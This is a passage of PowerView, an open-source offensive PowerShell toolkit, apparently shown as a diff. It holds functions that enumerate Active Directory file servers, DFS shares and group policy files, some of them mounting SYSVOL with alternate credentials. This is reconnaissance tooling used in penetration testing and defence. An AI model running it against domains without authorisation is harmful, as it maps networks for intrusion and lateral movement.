amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainFileServer + +Returns active file servers for the current domain. + +.EXAMPLE + +Get-DomainFileServer -Domain testing.local + +Returns active file servers for the 'testing.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +.OUTPUTS + +String + +One or more strings representing file server names. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + function Split-Path { + # short internal helper to split UNC server paths + Param([String]$Path) + + if ($Path -and ($Path.split('\\').Count -ge 3)) { + $Temp = $Path.split('\\')[2] + if ($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + $SearcherArguments = @{ + 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' + 'Properties' = 'homedirectory,scriptpath,profilepath' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } + else { + $UserSearcher = Get-DomainSearcher @SearcherArguments + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } +} + + +function Get-DomainDFSShare { +<# +.SYNOPSIS + +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domains. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +.PARAMETER Domain + +Specifies the domains to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDFSShare + +Returns all distributed file system shares for the current domain. + +.EXAMPLE + +Get-DomainDFSShare -Domain testlab.local + +Returns all distributed file system shares for the 'testlab.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'V1', '1', 'V2', '2')] + [String] + $Version = 'All' + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + function Parse-Pkt { + [CmdletBinding()] + Param( + [Byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $Null + $blob_name = $Null + $target_list = $Null + } + + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split('\')[2] + } + } + } + + $servers + } + + function Get-DomainDFSShareV1 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=fTDfs))' + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + + if ($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match + # on 'null' rather than $Null + if ($_ -ne 'null') { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + + function Get-DomainDFSShareV2 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' + $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split('\')[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + } + + PROCESS { + $DFSshares = @() + + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + } + else { + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + + $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique + } +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# +.SYNOPSIS + +Helper to parse a GptTmpl.inf policy file path into a hashtable. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent + +.DESCRIPTION + +Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a +GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf +is constructed and assumed to be the parse target. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GptTmplPath + +Specifies the GptTmpl.inf file path name to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local + +.EXAMPLE + +Get-DomainGPO testing | Get-GptTmpl + +Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local using alternate credentials. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('gpcfilesyspath', 'Path')] + [String] + $GptTmplPath, + + [Switch] + $OutputObject, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + $TargetGptTmplPath = $GptTmplPath + if (-not $TargetGptTmplPath.EndsWith('.inf')) { + $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + } + + Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" + + if ($PSBoundParameters['OutputObject']) { + $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop + if ($Contents) { + $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath + $Contents + } + } + else { + $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop + if ($Contents) { + $Contents['Path'] = $TargetGptTmplPath + $Contents + } + } + } + catch { + Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-GroupsXML { +<# +.SYNOPSIS + +Helper to parse a groups.xml file path into a custom object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID + +.DESCRIPTION + +Parses a groups.xml into a custom object. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GroupsXMLpath + +Specifies the groups.xml file path name to parse. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.OUTPUTS + +PowerView.GroupsXML +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GroupsXML')] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Path')] + [String] + $GroupsXMLPath, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { + + $Groupname = $_.Properties.groupName + + # extract the localgroup sid for memberof + $GroupSID = $_.Properties.groupSid + if (-not $GroupSID) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + if ($PSBoundParameters['Credential']) { + $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential + } + else { + $GroupSID = ConvertTo-SID -ObjectName $Groupname + } + } + } + + # extract out members added to this group + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if ($_.sid) { $_.sid } + else { $_.name } + } + + if ($Members) { + # extract out any/all filters...I hate you GPP + if ($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } + + if ($Members -isnot [System.Array]) { $Members = @($Members) } + + $GroupsXML = New-Object PSObject + $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GroupsXML | Add-Member Noteproperty 'Filters' $Filters + $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName + $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID + $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null + $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members + $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') + $GroupsXML + } + } + } + catch { + Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-DomainGPO { +<# +.SYNOPSIS + +Return all GPOs or specific GPO objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all GPO objects for +the current domain are returned. To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ComputerIdentity + +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). + +.PARAMETER UserIdentity + +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGPO -Domain testlab.local + +Return all GPOs for the testlab.local domain + +.EXAMPLE + +Get-DomainGPO -ComputerName windows1.testlab.local + +Returns all GPOs applied windows1.testlab.local + +.EXAMPLE + +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO + +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" + +.EXAMPLE + +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred + +.OUTPUTS + +PowerView.GPO + +Custom PSObject with translated GPO property fields. + +PowerView.GPO.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GPO')] + [OutputType('PowerView.GPO.Raw')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Parameter(ParameterSetName = 'ComputerIdentity')] + 